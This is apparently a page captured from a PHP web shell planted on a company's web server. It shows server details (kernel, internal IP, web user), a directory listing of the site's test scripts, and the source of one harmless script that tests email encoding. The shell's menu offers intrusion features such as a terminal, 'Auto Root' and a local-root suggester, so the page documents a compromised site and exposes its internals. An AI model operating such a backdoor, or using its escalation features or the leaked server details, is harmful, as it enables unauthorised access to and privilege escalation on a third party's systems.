Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
raw_email.php
549.13
KB
-rw-r--r--
2025-07-07 15:54
test_complete_mail_flow.php
4.71
KB
-rw-r--r--
2025-07-07 15:54
test_encoding_fix.php
4.68
KB
-rw-r--r--
2025-07-07 15:54
test_error_handler.php
2.13
KB
-rw-r--r--
2025-07-07 15:54
test_mail_parsing.php
6.16
KB
-rw-r--r--
2025-07-07 15:54
Save
Rename
<?php /** * Test script for encoding fixes * * This script tests the encoding fixes to ensure proper UTF-8 handling * and prevent character corruption in emails. */ // Include the mail class include_once($_SERVER['DOCUMENT_ROOT'] . '/php/includes/mail/MailMessages.php'); echo "<h1>Encoding Fix Test</h1>"; // Test email data with potential encoding issues $testEmail = 'From: website@cesa.co.za Reply-To: website@cesa.co.za To: cesa@igotafrica.com Subject: Test Encoding Fix - South Africa\'s infrastructure Content-Type: text/plain Date: Fri, 4 Jul 2025 11:42:42 +0000 <!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> </head> <body> <p>This is the HTML version of the email.</p> <p><strong>Engineering excellence spotlighted as CESA launches 2025 industry awards</strong></p> <p><em>3 July 2025</em> - South Africa\'s infrastructure is at a crossroads. With growing demand, aging systems, and pressing service delivery challenges, the country\'s future depends on bold engineering solutions and fresh innovation.</p> </body> </html>'; echo "<h2>Step 1: Testing splitMessageParts with encoding</h2>"; $parts = MailMessages::splitMessageParts($testEmail); echo "<pre>"; echo "Content-Type Header: " . (isset($parts['headers']['Content-Type']) ? $parts['headers']['Content-Type'] : 'No Content-Type') . "\n"; echo "Subject: " . (isset($parts['headers']['Subject']) ? $parts['headers']['Subject'] : 'No Subject') . "\n"; echo "Text Message Length: " . strlen($parts['text_message']) . "\n"; echo "HTML Message Length: " . strlen($parts['html_message']) . "\n"; echo "Detected as HTML: " . (strlen($parts['html_message']) > 0 ? 'YES' : 'NO') . "\n"; echo "</pre>"; echo "<h2>Step 2: Testing subject processing</h2>"; $subject = isset($parts['headers']["Subject"]) ? $parts['headers']["Subject"] : 'No Subject'; echo "<pre>"; echo "Original Subject: " . $subject . "\n"; echo "Subject Length: " . strlen($subject) . "\n"; echo "Subject UTF-8 Valid: " . (mb_check_encoding($subject, 'UTF-8') ? 'YES' : 'NO') . "\n"; echo "</pre>"; echo "<h2>Step 3: Testing message content encoding</h2>"; if (strlen($parts['html_message']) > 0) { echo "<pre>"; echo "HTML Message Length: " . strlen($parts['html_message']) . "\n"; echo "HTML UTF-8 Valid: " . (mb_check_encoding($parts['html_message'], 'UTF-8') ? 'YES' : 'NO') . "\n"; echo "HTML Content Preview (first 200 chars):\n"; echo htmlspecialchars(substr($parts['html_message'], 0, 200)) . "...\n"; echo "</pre>"; } echo "<h2>Step 4: Testing options generation</h2>"; // Simulate the processSend logic $isHTML = false; $contentType = ''; if (strlen($parts['multipart_message']) > 0) { $parts['message'] = $parts['multipart_message']; $isHTML = false; $contentType = 'multipart/related'; } elseif (strlen($parts['html_message']) > 0) { $parts['message'] = $parts['html_message']; $isHTML = true; } else { $parts['message'] = $parts['text_message']; } $options = [ 'reply-to-address' => 'website@cesa.co.za', 'from-name' => 'Test Sender', 'isHTML' => $isHTML, 'attachments' => [], 'content-type' => $contentType, 'charset' => 'UTF-8', ]; echo "<pre>"; echo "Final Message Length: " . strlen($parts['message']) . "\n"; echo "isHTML Flag: " . ($isHTML ? 'TRUE' : 'FALSE') . "\n"; echo "Content Type: " . $contentType . "\n"; echo "Charset: " . $options['charset'] . "\n"; echo "Options JSON: " . json_encode($options) . "\n"; echo "</pre>"; echo "<h2>Step 5: Testing character encoding</h2>"; // Test specific problematic characters $testString = "South Africa's infrastructure"; echo "<pre>"; echo "Test String: " . $testString . "\n"; echo "String Length: " . strlen($testString) . "\n"; echo "UTF-8 Valid: " . (mb_check_encoding($testString, 'UTF-8') ? 'YES' : 'NO') . "\n"; echo "HTML Encoded: " . htmlspecialchars($testString) . "\n"; echo "</pre>"; echo "<h2>Summary</h2>"; echo "<p><strong>Encoding Fixes Applied:</strong></p>"; echo "<ol>"; echo "<li>Added UTF-8 charset setting in maill() function</li>"; echo "<li>Added mb_convert_encoding() in splitMessageParts() to ensure UTF-8</li>"; echo "<li>Improved subject processing with proper html_entity_decode()</li>"; echo "<li>Added charset parameter to options array</li>"; echo "<li>Added character validation to remove invalid UTF-8 sequences</li>"; echo "</ol>"; echo "<p><strong>Expected Result:</strong> Emails should now be sent with:</p>"; echo "<ul>"; echo "<li>Content-Type: text/html; charset=UTF-8</li>"; echo "<li>Proper UTF-8 encoding throughout</li>"; echo "<li>No character corruption ( , ’s, etc.)</li>"; echo "<li>Correct display of special characters and apostrophes</li>"; echo "</ul>";